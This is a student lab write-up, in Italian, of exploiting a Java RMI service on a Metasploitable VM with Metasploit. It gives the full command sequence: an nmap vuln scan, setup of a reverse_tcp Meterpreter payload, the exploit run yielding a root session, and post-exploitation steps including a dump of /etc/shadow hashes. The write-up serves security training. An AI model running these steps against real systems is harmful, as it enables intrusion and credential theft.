

CPTP0524 – W16D4

Exploit Java RMI

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 - Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - configurazione di rete;
 - informazioni sulla tabella di routing della macchina vittima;
 - ogni altra informazione che è in grado di acquisire.

Configurazione Laboratorio

IP pfSense

Static IPv4 Configuration	
IPv4 Address	192.168.11.251 / 24
IPv4 Upstream gateway	None + Add a new gateway

IP Kali

```
> ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:0c:29:5a:01:a3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::5b0a:12f0:a4fd:6c6/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

IP Metasploitable

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:ad:a0:f0 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::20c:29ff:fead:a0f0/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ _
```

PING Kali → Metasploitable

```
> ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.275 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.233 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.209 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.221 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.273 ms
^C
--- 192.168.11.112 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4084ms
rtt min/avg/max/mdev = 0.209/0.242/0.275/0.027 ms
```

PING Metasploitable → Kali

```
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.194 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.252 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.222 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.242 ms
--- 192.168.11.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.194/0.227/0.252/0.026 ms
msfadmin@metasploitable:~$ _
```

Scansione su porta 1099 con nmap

```
> nmap -p 1099 -sV --script vuln 192.168.11.112
```

```
> nmap -p 1099 -sV --script vuln 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 17:25 CET
Nmap scan report for 192.168.11.112
Host is up (0.00027s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution
|
|   References:
|     https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 00:0C:29:AD:A0:F0 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.84 seconds
```

Per il servizio java-rmi possiamo utilizzare l'exploit **java_rmi_server**

metasploit-framework / modules / exploits / multi / misc / java_rmi_server.rb 

Preparazione dell'Exploit

Ricerca e Selezione Exploit

```
> msf6 > search java_rmi_server
```

```
msf6 > search java_rmi_server

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/misc/ [REDACTED]          2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
1  \ target: Generic (Java Payload)         .               .       .       .
2  \ target: Windows x86 (Native Payload)   .               .       .       .
3  \ target: Linux x86 (Native Payload)     .               .       .       .
4  \ target: Mac OS X PPC (Native Payload)  .               .       .       .
5  \ target: Mac OS X x86 (Native Payload)  .               .       .       .
6  auxiliary/scanner/misc/ [REDACTED]      2011-10-15      normal   No      Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/misc/java_rmi_server
```

La macchina Target è una Linux 32bit, uso l'exploit numero 3 per sfruttare la vulnerabilità in questione.

```
> msf6 > use 3
```

```
msf6 > search telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/scanner/telnet/lantronix_ [REDACTED]      .         normal  No      Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/ [REDACTED]      .         normal  No      Telnet Service Banner Detection
```



```
> msf6 exploit(multi/misc/java_rmi_server) > show payloads
```

```
14  payload/linux/x86/meterpreter/reverse_ipv6_tcp
15  payload/linux/x86/meterpreter/reverse_nonx_tcp
16  payload/linux/x86/meterpreter/reverse_tcp
17  payload/linux/x86/meterpreter/reverse_tcp_uuid
18  payload/linux/x86/meterpreter/reverse_http
```

- Userò il payload 16, una backdoor reverse_tcp meterpreter

```
> msf6 exploit(multi/misc/java_rmi_server) > set payload 16
```

```
msf6 exploit(multi/misc/java_rmi_server) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > |
```

Setting Target IP e controllo requisiti

```
> msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
```

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > |
```

```
> msf6 exploit(multi/misc/java_rmi_server) > options
```

```
msf6 exploit(multi/misc/java_rmi_server) > options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (linux/x86/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
2	Linux x86 (Native Payload)

Tutto Pronto!

Exploit

> msf6 exploit(multi/misc/java_rmi_server) > **exploit**

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/jJHY6BTU37jE74A
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:33988) at 2025-03-07 18:24:45 +0100

meterpreter > |
```

Exploit effettuato con successo!
Cerchiamo Informazioni

> meterpreter > sysinfo

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter >
```

> meterpreter > getuid

```
meterpreter > getuid
Server username: root
```

> meterpreter > ifconfig

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name       : eth0
Hardware MAC : 00:0c:29:ad:a0:f0
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fead:a0f0
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

> meterpreter > route

```
meterpreter > route
```

```
IPv4 network routes
```

```
=====
```

Subnet	Netmask	Gateway	Metric	Interface
-----	-----	-----	-----	-----
0.0.0.0	0.0.0.0	192.168.11.251	100	eth0
192.168.11.0	255.255.255.0	0.0.0.0	0	eth0

> meterpreter > pwd

```
meterpreter > pwd  
/
```

> meterpreter > ls -l /home

```
meterpreter > ls -l /home
```

```
Listing: /home
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040755/rwxr-xr-x	4096	dir	2010-03-17 15:08:02 +0100	ftp
040755/rwxr-xr-x	4096	dir	2025-03-04 22:30:20 +0100	msfadmin
040755/rwxr-xr-x	4096	dir	2010-04-16 08:16:02 +0200	service
040755/rwxr-xr-x	4096	dir	2010-05-07 20:38:06 +0200	user

> meterpreter > cat /etc/shadow

```
meterpreter > cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync*:14684:0:99999:7:::
games*:14684:0:99999:7:::
man*:14684:0:99999:7:::
lp*:14684:0:99999:7:::
mail*:14684:0:99999:7:::
news*:14684:0:99999:7:::
uucp*:14684:0:99999:7:::
proxy*:14684:0:99999:7:::
www-data*:14684:0:99999:7:::
backup*:14684:0:99999:7:::
list*:14684:0:99999:7:::
irc*:14684:0:99999:7:::
gnats*:14684:0:99999:7:::
nobody*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcp*:14684:0:99999:7:::
syslog*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind*:14685:0:99999:7:::
postfix*:14685:0:99999:7:::
ftp*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfCYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55*:14691:0:99999:7:::
distccd*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kr3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd*:15474:0:99999:7:::
meterpreter >
```

```
msf6 exploit(multi/misc/java_rmi_server) > sessions
```

Active sessions

=====

Id	Name	Type	Information	Connection
1		meterpreter	x86/linux root @ metasploitable.localdomain	192.168.11.111:4444 -> 192.168.11.112:33988 (192.168.11.112)

```
msf6 exploit(multi/misc/java_rmi_server) > |
```

Francesco Rinaldi